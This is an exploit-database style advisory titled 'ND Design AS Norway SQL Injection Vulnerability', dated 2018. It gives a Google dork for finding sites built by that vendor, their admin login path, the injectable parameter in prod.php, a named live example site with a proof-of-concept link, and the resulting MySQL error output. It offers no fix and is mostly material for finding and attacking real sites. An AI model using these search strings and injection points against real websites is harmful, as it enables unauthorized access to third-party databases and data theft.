#################################################################################################
# Exploit Title : ND Design AS Norway SQL Injection Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 12/09/2018
# Vendor Homepage : nddesign.no
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ]
#################################################################################################
# Google Dork : intext:''ND Design AS'' site:no
# Admin Login Path : /login.php
# Exploit : /prod.php?id=[SQL Injection]
#################################################################################################
# Example Site => homcare.no/prod.php?id=2349%2 => [ Proof of Concept ] => archive.is/gqr5r
# SQL Database Error =>
SELECT * FROM products WHERE c_id = AND p_ord < ORDER BY p_ord DESC LIMIT 1 :
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'AND p_ord < ORDER BY p_ord DESC LIMIT 1' at line 1
SELECT * FROM products WHERE c_id = AND p_ord > ORDER BY p_ord ASC LIMIT 1 :
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'AND p_ord > ORDER BY p_ord ASC LIMIT 1' at line 1
#################################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#################################################################################################